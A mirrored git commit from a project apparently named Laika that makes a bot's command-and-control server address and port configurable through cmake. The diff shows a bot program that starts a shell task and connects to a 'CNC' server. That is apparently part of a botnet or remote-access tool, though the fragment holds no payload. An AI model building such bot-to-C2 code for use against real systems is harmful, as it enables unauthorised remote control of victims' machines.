mirror of
https://github.com/CPunch/Laika.git
synced 2025-09-29 21:20:11 +00:00
Added LAIKA_CNC_IP & LAIKA_CNC_PORT to cmake config
This commit is contained in:
@@ -11,7 +11,6 @@ set_property(GLOBAL PROPERTY USE_FOLDERS ON)
|
||||
file(GLOB_RECURSE BOTSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/src/**.c)
|
||||
file(GLOB_RECURSE BOTHEADERS ${CMAKE_CURRENT_SOURCE_DIR}/include/**.h)
|
||||
add_executable(LaikaBot ${BOTSOURCE} ${BOTHEADERS})
|
||||
set_property(TARGET LaikaBot PROPERTY C_STANDARD 11)
|
||||
target_link_libraries(LaikaBot PUBLIC LaikaLib util)
|
||||
|
||||
# add the 'DEBUG' preprocessor definition if we're compiling as Debug
|
||||
|
@@ -1,5 +1,6 @@
|
||||
#include <stdio.h>
|
||||
|
||||
#include "lconfig.h"
|
||||
#include "lerror.h"
|
||||
#include "ltask.h"
|
||||
#include "bot.h"
|
||||
@@ -22,7 +23,7 @@ int main(int argv, char **argc) {
|
||||
laikaT_newTask(&tService, 100, shellTask, (void*)bot);
|
||||
|
||||
/* connect to test CNC */
|
||||
laikaB_connectToCNC(bot, "127.0.0.1", "13337");
|
||||
laikaB_connectToCNC(bot, LAIKA_CNC_IP, LAIKA_CNC_PORT);
|
||||
|
||||
/* while connection is still alive, poll bot */
|
||||
while (laikaS_isAlive((&bot->peer->sock))) {
|
||||
|
Reference in New Issue
Block a user